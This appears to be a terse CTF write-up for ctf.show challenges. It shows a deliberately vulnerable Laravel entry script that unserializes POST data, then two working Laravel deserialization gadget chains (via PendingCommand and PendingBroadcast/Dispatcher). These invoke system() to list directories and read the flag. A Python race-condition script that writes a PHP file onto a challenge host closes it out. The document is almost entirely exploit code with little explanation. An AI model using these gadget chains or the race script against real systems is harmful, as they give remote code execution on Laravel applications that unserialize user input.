<?php
/**
* Laravel - A PHP Framework For Web Artisans
*
* @package Laravel
* @author Taylor Otwell <taylor@laravel.com>
*/
define('LARAVEL_START', microtime(true));
/*
|--------------------------------------------------------------------------
| Register The Auto Loader
|--------------------------------------------------------------------------
|
| Composer provides a convenient, automatically generated class loader for
| our application. We just need to utilize it! We'll simply require it
| into the script here so that we don't have to worry about manual
| loading any of our classes later on. It feels great to relax.
|
*/
require __DIR__ . '/../vendor/autoload.php';
/*
|--------------------------------------------------------------------------
| Turn On The Lights
|--------------------------------------------------------------------------
|
| We need to illuminate PHP development, so let us turn on the lights.
| This bootstraps the framework and gets it ready for use, then it
| will load up this application so that we can run it and send
| the responses back to the browser and delight our users.
|
*/
$app = require_once __DIR__ . '/../bootstrap/app.php';
/*
|--------------------------------------------------------------------------
| Run The Application
|--------------------------------------------------------------------------
|
| Once we have the application, we can handle the incoming request
| through the kernel, and send the associated response back to
| the client's browser allowing them to enjoy the creative
| and wonderful application we have prepared for them.
|
*/
$kernel = $app->make(Illuminate\Contracts\Http\Kernel::class);
$response = $kernel->handle(
$request = Illuminate\Http\Request::capture()
);
@unserialize($_POST['data']);
highlight_file(__FILE__);
$kernel->terminate($request, $response);
exp
php复制代码
<?php
//gadgets.php
namespace Illuminate\Foundation\Testing{
class PendingCommand{
protected $command;
protected $parameters;
protected $app;
public $test;
public function __construct($command, $parameters,$class,$app)
{
$this->command = $command;
$this->parameters = $parameters;
$this->test=$class;
$this->app=$app;
}
}
}
namespace Illuminate\Auth{
class GenericUser{
protected $attributes;
public function __construct(array $attributes){
$this->attributes = $attributes;
}
}
}
namespace Illuminate\Foundation{
class Application{
protected $hasBeenBootstrapped = false;
protected $bindings;
public function __construct($bind){
$this->bindings=$bind;
}
}
}
namespace{
echo urlencode(serialize(new Illuminate\Foundation\Testing\PendingCommand("system",array('ls /'),new Illuminate\Auth\GenericUser(array("expectedOutput"=>array("0"=>"1"),"expectedQuestions"=>array("0"=>"1"))),new Illuminate\Foundation\Application(array("Illuminate\Contracts\Console\Kernel"=>array("concrete"=>"Illuminate\Foundation\Application"))))));
}
?>
<?php
/**
* Laravel - A PHP Framework For Web Artisans
*
* @package Laravel
* @author Taylor Otwell <taylor@laravel.com>
*/
define('LARAVEL_START', microtime(true));
/*
|--------------------------------------------------------------------------
| Register The Auto Loader
|--------------------------------------------------------------------------
|
| Composer provides a convenient, automatically generated class loader for
| our application. We just need to utilize it! We'll simply require it
| into the script here so that we don't have to worry about manual
| loading any of our classes later on. It feels great to relax.
|
*/
require __DIR__ . '/../vendor/autoload.php';
/*
|--------------------------------------------------------------------------
| Turn On The Lights
|--------------------------------------------------------------------------
|
| We need to illuminate PHP development, so let us turn on the lights.
| This bootstraps the framework and gets it ready for use, then it
| will load up this application so that we can run it and send
| the responses back to the browser and delight our users.
|
*/
$app = require_once __DIR__ . '/../bootstrap/app.php';
/*
|--------------------------------------------------------------------------
| Run The Application
|--------------------------------------------------------------------------
|
| Once we have the application, we can handle the incoming request
| through the kernel, and send the associated response back to
| the client's browser allowing them to enjoy the creative
| and wonderful application we have prepared for them.
|
*/
$kernel = $app->make(Illuminate\Contracts\Http\Kernel::class);
$response = $kernel->handle(
$request = Illuminate\Http\Request::capture()
);
@unserialize($_POST['data']);
highlight_file(__FILE__);
$kernel->terminate($request, $response);
看看之前的poc可不可以 不行,新找一个
exp
php复制代码
<?php
namespace Illuminate\Broadcasting{
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct($events="",$event="")
{
$this->events = $events;
$this->event = $event;
}
}
}
namespace Illuminate\Bus{
class Dispatcher
{
protected $queueResolver = "system";
}
}
namespace Illuminate\Broadcasting{
class BroadcastEvent
{
public $connection = 'tac$IFS/f*';
}
}
namespace{
$d = new Illuminate\Bus\Dispatcher();
$b = new Illuminate\Broadcasting\BroadcastEvent();
$p = new Illuminate\Broadcasting\PendingBroadcast($d,$b);
echo urlencode(serialize($p));
}
?>
import requests
import threading
import time
url = 'http://64ebefe9-27f9-48a2-bf08-06f23b3f36f0.challenge.ctf.show/'
data = "<?php file_put_contents('tzy.php','<?php phpinfo();?>', FILE_APPEND); ?>"
flag = True
def post():
requests.post(url+'?fn=1.PHP', data=data)
def get1():
requests.get(url + '1.php')
def get2():
r = requests.get(url+'tzy.php')
if 'PHP Version' in r.text:
global flag
flag = False
while flag:
threading.Thread(target=get1).start()
threading.Thread(target=get2).start()
threading.Thread(target=post).start()
